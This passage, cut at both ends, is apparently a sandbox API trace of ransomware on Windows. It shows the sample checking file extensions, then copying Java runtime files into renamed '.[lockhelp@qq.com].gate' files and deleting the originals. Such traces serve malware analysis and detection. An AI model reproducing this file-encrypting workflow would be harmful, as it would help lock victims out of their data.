lpString2="Z.pf") returned -1 [0292.678] lstrlenW (lpString=".rar") returned 4 [0292.678] lstrcmpiW (lpString1=".rar", lpString2="Z.pf") returned -1 [0292.678] lstrlenW (lpString=".bz2") returned 4 [0292.678] lstrcmpiW (lpString1=".bz2", lpString2="Z.pf") returned -1 [0292.678] lstrlenW (lpString=".7z") returned 3 [0292.678] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0292.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0292.679] lstrlenW (lpString=".dbf") returned 4 [0292.679] lstrcmpiW (lpString1=".dbf", lpString2="Z.pf") returned -1 [0292.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0292.679] lstrlenW (lpString=".1cd") returned 4 [0292.679] lstrcmpiW (lpString1=".1cd", lpString2="Z.pf") returned -1 [0292.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0292.679] lstrlenW (lpString=".jpg") returned 4 [0292.679] lstrcmpiW (lpString1=".jpg", lpString2="Z.pf") returned -1 [0292.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0292.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0292.679] lstrlenW (lpString=".doc") returned 4 [0292.679] lstrcmpiW (lpString1=".doc", lpString2="Z.pf") returned -1 [0292.679] lstrlenW (lpString=".docx") returned 5 [0292.679] lstrcmpiW (lpString1=".docx", lpString2="YZ.pf") returned -1 [0292.679] lstrlenW (lpString=".pdf") returned 4 [0292.679] lstrcmpiW (lpString1=".pdf", lpString2="Z.pf") returned -1 [0292.679] lstrlenW (lpString=".xls") returned 4 [0292.679] lstrcmpiW (lpString1=".xls", lpString2="Z.pf") returned -1 [0292.679] lstrlenW (lpString=".xlsx") returned 5 [0292.679] lstrcmpiW (lpString1=".xlsx", lpString2="YZ.pf") returned -1 [0292.679] lstrlenW (lpString=".ppt") returned 4 [0292.679] lstrcmpiW (lpString1=".ppt", lpString2="Z.pf") returned -1 [0292.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0292.679] lstrlenW (lpString=".zip") returned 4 [0292.679] lstrcmpiW (lpString1=".zip", lpString2="Z.pf") returned -1 [0292.679] lstrlenW (lpString=".rar") returned 4 [0292.679] lstrcmpiW (lpString1=".rar", lpString2="Z.pf") returned -1 [0292.679] lstrlenW (lpString=".bz2") returned 4 [0292.679] lstrcmpiW (lpString1=".bz2", lpString2="Z.pf") returned -1 [0292.679] lstrlenW (lpString=".7z") returned 3 [0292.679] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0292.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0292.679] lstrlenW (lpString=".dbf") returned 4 [0292.680] lstrcmpiW (lpString1=".dbf", lpString2="Z.pf") returned -1 [0292.680] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0292.680] lstrlenW (lpString=".1cd") returned 4 [0292.680] lstrcmpiW (lpString1=".1cd", lpString2="Z.pf") returned -1 [0292.680] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0292.680] lstrlenW (lpString=".jpg") returned 4 [0292.680] lstrcmpiW (lpString1=".jpg", lpString2="Z.pf") returned -1 [0292.680] lstrcmpiW (lpString1=".properties", lpString2=".gate") returned 1 [0292.680] lstrlenW (lpString="messages.properties") returned 19 [0292.680] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0292.697] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=2860) returned 1 [0292.697] CloseHandle (hObject=0x4f0) returned 1 [0292.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 0x20 [0292.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.697] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0292.698] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.698] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.698] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0292.862] GetLastError () returned 0x0 [0292.862] ReadFile (in: hFile=0x4f0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0xb2c, lpOverlapped=0x0) returned 1 [0292.968] WriteFile (in: hFile=0x528, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xb30, lpOverlapped=0x0) returned 1 [0292.969] ReadFile (in: hFile=0x4f0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0292.969] WriteFile (in: hFile=0x528, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xfa, lpOverlapped=0x0) returned 1 [0292.969] SetEndOfFile (hFile=0x528) returned 1 [0293.075] CloseHandle (hObject=0x528) returned 1 [0293.075] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.075] SetEndOfFile (hFile=0x4f0) returned 1 [0293.077] CloseHandle (hObject=0x4f0) returned 1 [0293.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0293.078] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 1 [0293.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0293.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0293.078] lstrlenW (lpString=".doc") returned 4 [0293.078] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0293.079] lstrlenW (lpString=".docx") returned 5 [0293.079] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0293.079] lstrlenW (lpString=".pdf") returned 4 [0293.079] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0293.079] lstrlenW (lpString=".xls") returned 4 [0293.079] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0293.079] lstrlenW (lpString=".xlsx") returned 5 [0293.079] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0293.079] lstrlenW (lpString=".ppt") returned 4 [0293.079] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0293.079] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0293.079] lstrlenW (lpString=".zip") returned 4 [0293.079] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0293.079] lstrlenW (lpString=".rar") returned 4 [0293.079] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0293.079] lstrlenW (lpString=".bz2") returned 4 [0293.079] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0293.079] lstrlenW (lpString=".7z") returned 3 [0293.079] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0293.079] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0293.079] lstrlenW (lpString=".dbf") returned 4 [0293.079] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0293.079] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0293.079] lstrlenW (lpString=".1cd") returned 4 [0293.079] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0293.079] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0293.079] lstrlenW (lpString=".jpg") returned 4 [0293.079] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0293.079] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0293.080] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0293.080] lstrlenW (lpString=".doc") returned 4 [0293.080] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0293.080] lstrlenW (lpString=".docx") returned 5 [0293.080] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0293.080] lstrlenW (lpString=".pdf") returned 4 [0293.080] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0293.080] lstrlenW (lpString=".xls") returned 4 [0293.080] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0293.080] lstrlenW (lpString=".xlsx") returned 5 [0293.080] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0293.080] lstrlenW (lpString=".ppt") returned 4 [0293.080] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0293.080] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0293.080] lstrlenW (lpString=".zip") returned 4 [0293.080] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0293.080] lstrlenW (lpString=".rar") returned 4 [0293.080] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0293.080] lstrlenW (lpString=".bz2") returned 4 [0293.080] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0293.080] lstrlenW (lpString=".7z") returned 3 [0293.080] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0293.080] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0293.080] lstrlenW (lpString=".dbf") returned 4 [0293.080] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0293.080] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0293.080] lstrlenW (lpString=".1cd") returned 4 [0293.080] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0293.080] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0293.080] lstrlenW (lpString=".jpg") returned 4 [0293.080] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0293.081] lstrcmpiW (lpString1=".properties", lpString2=".gate") returned 1 [0293.081] lstrlenW (lpString="messages_it.properties") returned 22 [0293.081] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0293.081] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=3223) returned 1 [0293.081] CloseHandle (hObject=0x4f0) returned 1 [0293.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 0x20 [0293.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.081] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0293.082] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.082] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.082] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0293.082] GetLastError () returned 0x0 [0293.082] ReadFile (in: hFile=0x4f0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0xc97, lpOverlapped=0x0) returned 1 [0293.149] WriteFile (in: hFile=0x528, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xca0, lpOverlapped=0x0) returned 1 [0293.150] ReadFile (in: hFile=0x4f0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0293.150] WriteFile (in: hFile=0x528, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x100, lpOverlapped=0x0) returned 1 [0293.150] SetEndOfFile (hFile=0x528) returned 1 [0293.150] CloseHandle (hObject=0x528) returned 1 [0293.151] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.151] SetEndOfFile (hFile=0x4f0) returned 1 [0293.153] CloseHandle (hObject=0x4f0) returned 1 [0293.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0293.154] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 1 [0293.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0293.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0293.154] lstrlenW (lpString=".doc") returned 4 [0293.154] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0293.154] lstrlenW (lpString=".docx") returned 5 [0293.154] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0293.154] lstrlenW (lpString=".pdf") returned 4 [0293.154] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0293.154] lstrlenW (lpString=".xls") returned 4 [0293.154] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0293.154] lstrlenW (lpString=".xlsx") returned 5 [0293.154] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0293.154] lstrlenW (lpString=".ppt") returned 4 [0293.154] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0293.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0293.155] lstrlenW (lpString=".zip") returned 4 [0293.155] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0293.155] lstrlenW (lpString=".rar") returned 4 [0293.155] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0293.155] lstrlenW (lpString=".bz2") returned 4 [0293.155] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0293.155] lstrlenW (lpString=".7z") returned 3 [0293.155] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0293.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0293.155] lstrlenW (lpString=".dbf") returned 4 [0293.155] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0293.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0293.155] lstrlenW (lpString=".1cd") returned 4 [0293.155] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0293.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0293.155] lstrlenW (lpString=".jpg") returned 4 [0293.155] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0293.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0293.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0293.155] lstrlenW (lpString=".doc") returned 4 [0293.155] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0293.155] lstrlenW (lpString=".docx") returned 5 [0293.155] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0293.155] lstrlenW (lpString=".pdf") returned 4 [0293.155] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0293.155] lstrlenW (lpString=".xls") returned 4 [0293.155] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0293.155] lstrlenW (lpString=".xlsx") returned 5 [0293.155] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0293.155] lstrlenW (lpString=".ppt") returned 4 [0293.155] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0293.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0293.155] lstrlenW (lpString=".zip") returned 4 [0293.155] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0293.156] lstrlenW (lpString=".rar") returned 4 [0293.156] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0293.156] lstrlenW (lpString=".bz2") returned 4 [0293.156] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0293.156] lstrlenW (lpString=".7z") returned 3 [0293.156] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0293.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0293.156] lstrlenW (lpString=".dbf") returned 4 [0293.156] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0293.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0293.156] lstrlenW (lpString=".1cd") returned 4 [0293.156] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0293.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0293.156] lstrlenW (lpString=".jpg") returned 4 [0293.156] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0293.156] lstrcmpiW (lpString1=".properties", lpString2=".gate") returned 1 [0293.156] lstrlenW (lpString="messages_ko.properties") returned 22 [0293.156] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0293.156] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=5712) returned 1 [0293.157] CloseHandle (hObject=0x4f0) returned 1 [0293.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 0x20 [0293.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.157] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0293.157] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.157] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.157] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0293.158] GetLastError () returned 0x0 [0293.158] ReadFile (in: hFile=0x4f0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x1650, lpOverlapped=0x0) returned 1 [0293.264] WriteFile (in: hFile=0x528, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x1660, lpOverlapped=0x0) returned 1 [0293.265] ReadFile (in: hFile=0x4f0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0293.265] WriteFile (in: hFile=0x528, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x100, lpOverlapped=0x0) returned 1 [0293.265] SetEndOfFile (hFile=0x528) returned 1 [0293.265] CloseHandle (hObject=0x528) returned 1 [0293.266] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.266] SetEndOfFile (hFile=0x4f0) returned 1 [0293.268] CloseHandle (hObject=0x4f0) returned 1 [0293.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0293.269] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 1 [0293.269] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0293.269] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0293.269] lstrlenW (lpString=".doc") returned 4 [0293.269] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0293.269] lstrlenW (lpString=".docx") returned 5 [0293.269] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0293.269] lstrlenW (lpString=".pdf") returned 4 [0293.270] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0293.270] lstrlenW (lpString=".xls") returned 4 [0293.270] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0293.270] lstrlenW (lpString=".xlsx") returned 5 [0293.270] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0293.270] lstrlenW (lpString=".ppt") returned 4 [0293.270] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0293.270] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0293.270] lstrlenW (lpString=".zip") returned 4 [0293.270] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0293.270] lstrlenW (lpString=".rar") returned 4 [0293.270] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0293.270] lstrlenW (lpString=".bz2") returned 4 [0293.270] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0293.270] lstrlenW (lpString=".7z") returned 3 [0293.270] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0293.270] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0293.270] lstrlenW (lpString=".dbf") returned 4 [0293.270] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0293.270] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0293.270] lstrlenW (lpString=".1cd") returned 4 [0293.270] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0293.270] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0293.270] lstrlenW (lpString=".jpg") returned 4 [0293.270] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0293.270] lstrlenW (lpString="C:\\Program 